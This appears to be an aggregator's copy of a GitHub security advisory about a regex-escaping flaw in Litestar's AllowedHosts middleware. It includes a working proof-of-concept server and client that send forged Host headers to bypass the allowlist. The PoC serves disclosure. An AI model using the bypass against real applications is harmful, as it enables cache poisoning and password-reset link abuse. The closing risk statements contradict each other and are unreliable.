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GHSA-93ph-p7v4-hwh4
No affected components available
Summary
AllowedHosts host validation can be bypassed because configured host patterns are turned into regular expressions without escaping regex metacharacters (notably .). A configured allowlist entry like example.com can match exampleXcom
Details
In litestar.middleware.allowed_hosts, allowlist entries are compiled into regex patterns in a way that allows regex metacharacters to retain special meaning (e.g., . matches any character). This enables a bypass where an attacker supplies a host that matches the regex but is not the intended literal hostname.
PoC
Server (poc_allowed_hosts_server.py)
from litestar import Litestar, get
from litestar.middleware.allowed_hosts import AllowedHostsConfig
@get("/")
async def index() -> str:
return "ok"
config = AllowedHostsConfig(allowed_hosts=["example.com"])
app = Litestar([index], allowed_hosts_config=config)
uvicorn poc_allowed_hosts_server:app --host 127.0.0.1 --port 8001
Client (poc_allowed_hosts_client.py)
import http.client
def req(host_header: str) -> tuple[int, bytes]:
c = http.client.HTTPConnection("127.0.0.1", 8001, timeout=3)
c.request("GET", "/", headers={"Host": host_header})
r = c.getresponse()
body = r.read()
c.close()
return r.status, body
print("evil.com:", *req("evil.com"))
print("exampleXcom:", *req("exampleXcom"))
Expected (vulnerable behavior): Host: evil.com → 400 invalid host
Host: exampleXcom → 200 ok (bypass)
Impact
Type: security control bypass (host allowlist) Who is impacted: apps relying on AllowedHosts to prevent Host header attacks (cache poisoning, absolute URL construction abuse, password reset link poisoning, etc.). The downstream impact depends on app behavior, but the bypass defeats a core mitigation layer.
The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights. No user interaction is needed for the attacker to exploit this vulnerability. The impact is confined to the system where the vulnerability exists. There is a low impact on the confidentiality of the information. There is a low impact on the integrity of the data.
Exploitation attempts have been detected. Elevated vigilance and prompt remediation are advised.
The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
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